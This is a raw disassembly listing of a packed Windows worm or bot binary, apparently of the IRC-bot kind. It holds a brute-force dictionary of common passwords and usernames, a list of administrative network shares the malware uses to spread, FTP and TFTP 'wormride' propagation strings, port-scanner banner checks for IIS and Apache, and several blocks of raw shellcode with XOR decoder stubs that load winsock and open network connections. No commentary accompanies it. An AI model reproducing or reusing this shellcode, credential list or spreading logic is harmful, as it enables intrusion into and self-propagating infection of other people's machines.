aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:00417020o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .packed:0041701Co
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .packed:00417010o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .packed:0041700Co
		align 4
aHello		db 'hello',0            ; DATA XREF: .packed:00417004o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .packed:00417000o
		align 4
aLove		db 'love',0             ; DATA XREF: .packed:00416FFCo
		align 10h
aMoney		db 'money',0            ; DATA XREF: .packed:00416FF8o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .packed:00416FECo
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .packed:00416FE8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .packed:00416FE4o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .packed:00416FE0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .packed:00416FD4o
		align 4
aLogin		db 'login',0            ; DATA XREF: .packed:00416FD0o
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .packed:00416F6Co
aZxc		db 'zxc',0              ; DATA XREF: .packed:00416F68o
aAsd		db 'asd',0              ; DATA XREF: .packed:00416F64o
aQaz		db 'qaz',0              ; DATA XREF: .packed:00416F60o
aWin2000	db 'win2000',0          ; DATA XREF: .packed:00416F5Co
aWinnt		db 'winnt',0            ; DATA XREF: .packed:00416F58o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .packed:00416F54o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:00416F50o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .packed:00416F4Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:00416F48o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:00416F40o
		align 4
aOem		db 'oem',0              ; DATA XREF: .packed:00416F38o
aAccounting	db 'accounting',0       ; DATA XREF: .packed:00416F28o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .packed:00416F24o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .packed:00416F20o
aSex		db 'sex',0              ; DATA XREF: .packed:00416F1Co
					; .packed:00416FF0o
aOutlook	db 'outlook',0          ; DATA XREF: .packed:00416F0Co
aMail		db 'mail',0             ; DATA XREF: .packed:00416F08o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:00416F04o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .packed:00416F00o
aTemp		db 'temp',0             ; DATA XREF: .packed:00416EFCo
		align 4
aNull		db 'null',0             ; DATA XREF: .packed:00416EF8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:00416EE8o
aChangeme	db 'changeme',0         ; DATA XREF: .packed:00416EE4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .packed:00416ED4o
		align 10h
aTest		db 'test',0             ; DATA XREF: .packed:00416EC8o
		align 4
a2005		db '2005',0             ; DATA XREF: .packed:00416EC4o
		align 10h
a2004		db '2004',0             ; DATA XREF: .packed:00416EC0o
		align 4
a2001		db '2001',0             ; DATA XREF: .packed:00416EB4o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: .packed:00416EACo
		align 4
aPayday		db 'payday',0           ; DATA XREF: .packed:00416EA8o
		align 10h
aDeadline	db 'deadline',0         ; DATA XREF: .packed:00416EA4o
		align 4
aWork		db 'work',0             ; DATA XREF: .packed:00416EA0o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .packed:00416E9Co
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .packed:00416E98o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .packed:00416E94o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .packed:00416E90o
a123456		db '123456',0           ; DATA XREF: .packed:00416E8Co
		align 4
a12345		db '12345',0            ; DATA XREF: .packed:00416E88o
		align 10h
a1234		db '1234',0             ; DATA XREF: .packed:00416E84o
		align 4
a123		db '123',0              ; DATA XREF: .packed:00416E80o
a12		db '12',0               ; DATA XREF: .packed:00416E7Co
		align 10h
a1:					; DATA XREF: .packed:00416E78o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .packed:00416E74o
aPwd		db 'pwd',0              ; DATA XREF: .packed:00416E70o
aPass		db 'pass',0             ; DATA XREF: .packed:00416E6Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:00416E68o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .packed:00416E64o
aPasswd		db 'passwd',0           ; DATA XREF: .packed:00416E60o
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:00416E5Co
					; .packed:00418B48o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .packed:00416E58o
		align 4
aAbc		db 'abc',0              ; DATA XREF: .packed:00416E54o
aAb		db 'ab',0               ; DATA XREF: .packed:00416E50o
		align 4
aA_1:					; DATA XREF: .packed:00416E4Co
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .packed:00416E24o
		align 4
aPrint		db 'print$',0           ; DATA XREF: .packed:00416E20o
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
					; DATA XREF: .packed:00416E1Co
aAdmin_0	db 'admin$',0           ; DATA XREF: .packed:00416E18o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: .packed:00416E14o
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .packed:00416E10o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: .packed:00416E0Co
		align 10h
aCWindows	db 'c$\windows',0       ; DATA XREF: .packed:00416E08o
		align 4
aCWinnt		db 'c$\winnt',0         ; DATA XREF: .packed:00416E04o
		align 4
aEShared	db 'e$\shared',0        ; DATA XREF: .packed:00416E00o
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .packed:00416DFCo
		align 10h
aCShared	db 'c$\shared',0        ; DATA XREF: .packed:00416DF8o
		align 4
aE_0		db 'e$',0               ; DATA XREF: .packed:00416DF4o
		align 10h
aD		db 'd$',0               ; DATA XREF: .packed:00416DF0o
		align 4
aC_1		db 'c$',0               ; DATA XREF: .packed:00416DECo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:00416DE4o
					; .packed:0041709Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .packed:00416DE0o
					; .packed:00417098o
aOwner		db 'owner',0            ; DATA XREF: .packed:00416DDCo
					; .packed:00417094o
		align 10h
aStudent	db 'student',0          ; DATA XREF: .packed:00416DD8o
					; .packed:00417090o
aIntranet	db 'intranet',0         ; DATA XREF: .packed:00416DD4o
					; .packed:0041708Co
		align 4
aLan_0		db 'lan',0              ; DATA XREF: .packed:00416DCCo
					; .packed:00417084o
aMain		db 'main',0             ; DATA XREF: sub_4111E8+25Do
					; .packed:00411479o ...
		align 10h
aOffice		db 'office',0           ; DATA XREF: .packed:00416DC4o
					; .packed:00417074o
		align 4
aControl	db 'control',0          ; DATA XREF: .packed:00416DC0o
					; .packed:00417070o
aSiemens	db 'siemens',0          ; DATA XREF: .packed:00416DBCo
					; .packed:00417060o
aCompaq		db 'compaq',0           ; DATA XREF: .packed:00416DB8o
					; .packed:0041705Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: .packed:00416DB4o
					; .packed:00417058o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .packed:00416DB0o
					; .packed:00417054o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .packed:00416DACo
					; .packed:00417050o
aOracle		db 'oracle',0           ; DATA XREF: .packed:00416DA8o
					; .packed:0041704Co
		align 4
aSql		db 'sql',0              ; DATA XREF: .packed:00416DA4o
					; .packed:00417040o
aSa		db 'sa',0               ; DATA XREF: .packed:00416DA0o
					; .packed:0041703Co
		align 4
aData		db 'data',0             ; DATA XREF: .packed:00416D9Co
					; .packed:00417028o
		align 4
aAccess		db 'access',0           ; DATA XREF: .packed:00416D98o
					; .packed:00417018o
		align 4
aDatabase	db 'database',0         ; DATA XREF: .packed:00416D94o
					; .packed:00417014o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: .packed:00416D90o
					; .packed:00417008o
		align 4
aGod		db 'god',0              ; DATA XREF: .packed:00416D8Co
					; .packed:00416FF4o
aBackup		db 'backup',0           ; DATA XREF: .packed:00416D88o
					; .packed:00416FDCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .packed:00416D84o
					; .packed:00416FD8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .packed:00416D80o
					; .packed:00416FCCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: .packed:00416D7Co
					; .packed:00416FC8o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .packed:00416D74o
					; .packed:00416FC0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .packed:00416D70o
					; .packed:00416FBCo
		align 10h
aEric		db 'eric',0             ; DATA XREF: .packed:00416D6Co
					; .packed:00416FB8o
		align 4
aNone		db 'none',0             ; DATA XREF: .packed:00416D68o
					; .packed:00416ED0o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: .packed:00416D64o
					; .packed:00416ECCo
		align 4
aChris		db 'chris',0            ; DATA XREF: .packed:00416D60o
					; .packed:00416FB4o
		align 10h
aIan		db 'ian',0              ; DATA XREF: .packed:00416D5Co
					; .packed:00416FB0o
aNeil		db 'neil',0             ; DATA XREF: .packed:00416D58o
					; .packed:00416FACo
		align 4
aLee		db 'lee',0              ; DATA XREF: .packed:00416D54o
					; .packed:00416FA8o
aBrian		db 'brian',0            ; DATA XREF: .packed:00416D50o
					; .packed:00416FA4o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .packed:00416D48o
					; .packed:00416F9Co
		align 10h
aSue		db 'sue',0              ; DATA XREF: .packed:00416D44o
					; .packed:00416F98o
aSam		db 'sam',0              ; DATA XREF: .packed:00416D40o
					; .packed:00416F94o
aLuke		db 'luke',0             ; DATA XREF: .packed:00416D3Co
					; .packed:00416F90o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .packed:00416D38o
					; .packed:00416D4Co ...
		align 4
aJohn		db 'john',0             ; DATA XREF: .packed:00416D34o
					; .packed:00416F88o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .packed:00416D30o
					; .packed:00416F84o
		align 4
aBill		db 'bill',0             ; DATA XREF: .packed:00416D2Co
					; .packed:00416F80o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .packed:00416D28o
					; .packed:00416F7Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .packed:00416D24o
					; .packed:00416F78o
aJen		db 'jen',0              ; DATA XREF: .packed:00416D20o
					; .packed:00416F74o
aBob		db 'bob',0              ; DATA XREF: .packed:00416D1Co
					; .packed:00416D78o ...
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .packed:00416D18o
					; .packed:00416F44o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:00416D14o
					; .packed:00416F3Co
aUser		db 'user',0             ; DATA XREF: .packed:00416D10o
					; .packed:00416F34o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:00416D0Co
					; .packed:00416F30o
		align 4
aHome		db 'home',0             ; DATA XREF: .packed:00416D08o
					; .packed:00416F2Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .packed:00416D04o
					; .packed:00416DD0o ...
		align 10h
aWww		db 'www',0              ; DATA XREF: .packed:00416D00o
					; .packed:00416F14o
aWeb		db 'web',0              ; DATA XREF: .packed:00416CFCo
					; .packed:00416F10o
aRoot		db 'root',0             ; DATA XREF: .packed:00416CF8o
					; .packed:00416EF4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .packed:00416CF4o
					; .packed:00416EF0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .packed:00416CECo
					; .packed:00416EE0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .packed:00416CE8o
					; .packed:00416EDCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .packed:00416CE4o
					; .packed:00416ED8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:00416CE0o
					; .packed:00416E48o
aAdmin		db 'admin',0            ; DATA XREF: .packed:00416CDCo
					; .packed:00416E44o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .packed:00416CD8o
					; .packed:00416E40o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:00416CD4o
					; .packed:00416E3Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:00416CD0o
					; .packed:00416E38o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:00416CCCo
					; .packed:00416E34o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .packed:00416CC8o
					; .packed:00416E30o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0:loc_40DB99o
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0+48Ao
dword_417634	dd 128170h		; DATA XREF: sub_40D6E0:loc_40DB62r
		align 10h
unk_417640	db  2Dh	; -		; DATA XREF: sub_40D6E0+463o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_40D6E0+45Eo
dword_41766C	dd 8E2D0h		; DATA XREF: sub_40D6E0:loc_40DAA7r
		dd 2 dup(0)
dword_417678	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_40D6E0+386o
					; sub_40D6E0+41Ao
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40D6E0+353o
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0+2AAo
					; sub_40D6E0+3D3o
dword_4176FC	dd 0A7CF0h		; DATA XREF: sub_40D6E0:loc_40D97Er
		dd 2 dup(0)
dword_417708	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_40D6E0+270o
dword_417714	dd 146630h		; DATA XREF: sub_40D6E0:loc_40D8FEr
		align 10h
dword_417720	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_40D6E0:loc_40D8F4o
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40D6E0+1BBo
		align 4
dword_41773C	dd 1242F0h		; DATA XREF: sub_40D6E0:loc_40D87Br
		dd 2 dup(0)
dword_417748	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_40D6E0+191o
dword_417750	dd 12ABA8h		; DATA XREF: sub_40D6E0+189r
		dd 2 dup(0)
dword_41775C	dd 1231B0h		; DATA XREF: sub_40D6E0:loc_40D85Dr
		dd 2 dup(0)
dword_417768	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_40D6E0+173o
dword_417774	dd 25A70h		; DATA XREF: sub_40D6E0:loc_40D84Br
		dd 0
dword_41777C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_40D6E0+161o
dword_417784	dd 0F9170h		; DATA XREF: sub_40D6E0:loc_40D839r
		align 10h
dword_417790	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_40D6E0+14Fo
dword_417798	dd 147CF0h		; DATA XREF: sub_40D6E0+147r
		dd 2 dup(0)
dword_4177A4	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_40D6E0+129o
dword_4177AC	dd 12AE10h		; DATA XREF: sub_40D6E0:loc_40D7FAr
		dd 2 dup(0)
dword_4177B8	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_40D6E0+110o
dword_4177C0	dd 1386D0h		; DATA XREF: sub_40D6E0+101r
		dd 2 dup(0)
dword_4177CC	dd 0A0D20h		; DATA XREF: sub_40D6E0+ACo
dword_4177D0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_40D6E0+11o
dword_4177D8	dd 303332h		; DATA XREF: sub_40DBD7+143o
dword_4177DC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_40DBD7+F0o
dword_4177E8	dd 313333h		; DATA XREF: sub_40DBD7+D1o
dword_4177EC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_40DBD7+76o
dword_4177F8	dd 303232h		; DATA XREF: sub_40DBD7+59o
unk_4177FC	db  2Dh	; -		; DATA XREF: sub_40DD36+A4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_40DD36+44o
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_40DE4C+34o
dword_417844	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40DE9A+369o
unk_417850	db  2Dh	; -		; DATA XREF: sub_40DE9A+34Bo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_40DE9A+346o
		align 4
dword_41788C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40DE9A+1FEo
aOctet		db 'octet',0            ; DATA XREF: sub_40DE9A+1CEo
		align 4
unk_4178A8	db  2Dh	; -		; DATA XREF: sub_40DE9A+E5o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_40E243+2Bo
		align 4

loc_4178E8:				; DATA XREF: sub_40E399+3Eo
		jmp	short loc_4178FF
; ---------------------------------------------------------------------------

loc_4178EA:				; CODE XREF: .packed:loc_4178FFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi

loc_4178F6:				; CODE XREF: .packed:004178FBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_4178F6
		jmp	short near ptr dword_417904
; ---------------------------------------------------------------------------

loc_4178FF:				; CODE XREF: .packed:loc_4178E8j
		call	loc_4178EA
; ---------------------------------------------------------------------------
dword_417904	dd 0			; CODE XREF: .packed:004178FDj
dword_417908	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+7Eo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_4179BC	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+4Do
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_417A84	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+1Ao
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_417B38	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_40E496+5Bo
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_417CB5	db 0E3h			; DATA XREF: sub_40E399+ACr
					; sub_40E399+D8w
		align 4
dword_417CB8	dd 4113E68Bh		; DATA XREF: sub_40E399+49r
					; sub_40E399+98w
		align 10h
off_417CC0	dd offset dword_417D18	; DATA XREF: sub_40E523+40r
		dd offset dword_417D0C
		dd offset dword_417D04
		dd offset dword_417CF0
		dd offset dword_417CE4
		dd offset dword_417D04
		dd 3 dup(0)
dword_417CE4	dd 0CEACFBEAh, 2 dup(0)	; DATA XREF: .packed:00417CD0o
					; .packed:00418E30o
dword_417CF0	dd 0D5ABFDB2h, 878E89BEh, 0A893A5C9h, 0D3C9E6h,	0
					; DATA XREF: .packed:00417CCCo
					; .packed:00418E2Co
dword_417D04	dd 2 dup(0)		; DATA XREF: .packed:00417CC8o
					; .packed:00417CD4o ...
dword_417D0C	dd 0CEA0FBE6h, 2 dup(0)	; DATA XREF: .packed:00417CC4o
					; .packed:off_418E24o
dword_417D18	dd 0D5A9FFBFh, 0C38D83BFh, 0A8CAAFD2h, 0DDC5EAh, 0
					; DATA XREF: .packed:off_417CC0o
					; .packed:off_418E20o
dword_417D2C	dd 72h			; DATA XREF: sub_40E707+F4o
dword_417D30	dd 62h			; DATA XREF: sub_40E829+7Fo
dword_417D34	dd 63h			; DATA XREF: sub_40E8E1+3Ao
dword_417D38	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40E951+66o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_417D70	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_40EA2F+79o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
dword_417D98	dd 96F7ADBAh		; DATA XREF: sub_40E64D+2Dr
					; sub_40EE23+57o ...
		dd 3 dup(0)
		dd 0EF000000h, 0ADFDh, 3 dup(0)
		db 2 dup(0)
word_417DBE	dw 0			; DATA XREF: sub_40EAC4+2Do
		dd 0
		db 2 dup(0)
off_417DC6	dd offset sub_40BC10	; DATA XREF: sub_40E64D+5r
					; sub_40E64D+Do ...
		dw 3
		dd 0
		dd 0ADBA0000h, 0E796F7h, 3 dup(0)
		dd 0ADFDEF00h, 6 dup(0)
		dd offset sub_40BE68
		dd 3, 0
		dd 8BECABB0h, 0D692B4h,	2 dup(0)
		dd 0EA000000h, 0ADFAh, 5 dup(0)
		dd 0C79B0000h, 30040h, 0
		dd 0BDB20000h, 0A688F9h, 3 dup(0)
		dd 0ADFAEA00h, 6 dup(0)
		dd offset sub_40C501
		dd 3, 0
		dd 0E8A0AEh, 3 dup(0)
		dd 0EA000000h, 0ADFAh, 5 dup(0)
		dd 0CD920000h, 30040h, 0
		dd 0A0AE0000h, 0C9E8h, 3 dup(0)
		dd 0ADFAEA00h, 6 dup(0)
		dd offset loc_40CDA0
		dd 3, 0
		dd 0EBA5A9h, 3 dup(0)
		dd 0EF000000h, 0ADFDh, 5 dup(0)
		dd 0D3D60000h, 30040h, 0
		dd 0A5A90000h, 0C9EBh, 3 dup(0)
		dd 0ADFDEF00h, 6 dup(0)
		dd offset sub_40D3D6
		dd 3, 0
		dd 0C8EBA5A9h, 3 dup(0)
		dd 0EA000000h, 0ADFAh, 5 dup(0)
		dd 0D3D60000h, 30040h, 0
		dd 0A5A90000h, 0CFEBh, 3 dup(0)
		dd 0ADFAEA00h, 6 dup(0)
		dd offset sub_40D3D6
		dd 3, 0
		dd 9EF5AFBAh, 92CC87A2h, 2 dup(0)
		dd 0E8000000h, 0C2AAFFh, 5 dup(0)
		dd 0B7D00000h, 10040h, 0
		dd 0AFBA0000h, 87A29EF5h, 8B92CCh, 2 dup(0)
		dd 0AAFFE800h, 0C2h, 5 dup(0)
		dd offset sub_40BAAF
		dd 1, 0
		dd 8AEBBDB3h, 0B9h, 2 dup(0)
		dd 0EF000000h, 0C8ABFAh, 5 dup(0)
		dd 0C63E0000h, 10040h, 0
		dd 0BDB30000h, 96B98AEBh, 0CA84DFh, 2 dup(0)
		dd 0ABFAEF00h, 0C8h, 5 dup(0)
		dd offset nullsub_1
		dd 1, 0
		dd 98EBA7BDh, 0BAh, 2 dup(0)
		dd 0EC000000h, 0FDh, 5 dup(0)
		dd 0B61A0000h, 40h, 10h	dup(0)
dword_418138	dd 6E695728h, 293233h	; DATA XREF: sub_40EB16+18Do
dword_418140	dd 696E5528h, 2978h	; DATA XREF: sub_40EB16+16Fo
dword_418148	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40EB16+162o
aApache		db 'Apache',0           ; DATA XREF: sub_40EB16+149o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40EB16+EAo
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_40EB16+CAo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_40EB16+72o
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40EB16+Eo
		db 0Dh,0Ah,0
		align 10h
unk_4181A0	db  53h	; S		; DATA XREF: sub_40EE23+475o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_4181E4	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_40EE23+412o
dword_4181F8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40EE23+26Ao
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_418230	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_40EE23+234o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41825C	db  53h	; S		; DATA XREF: sub_40F2C2+186o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
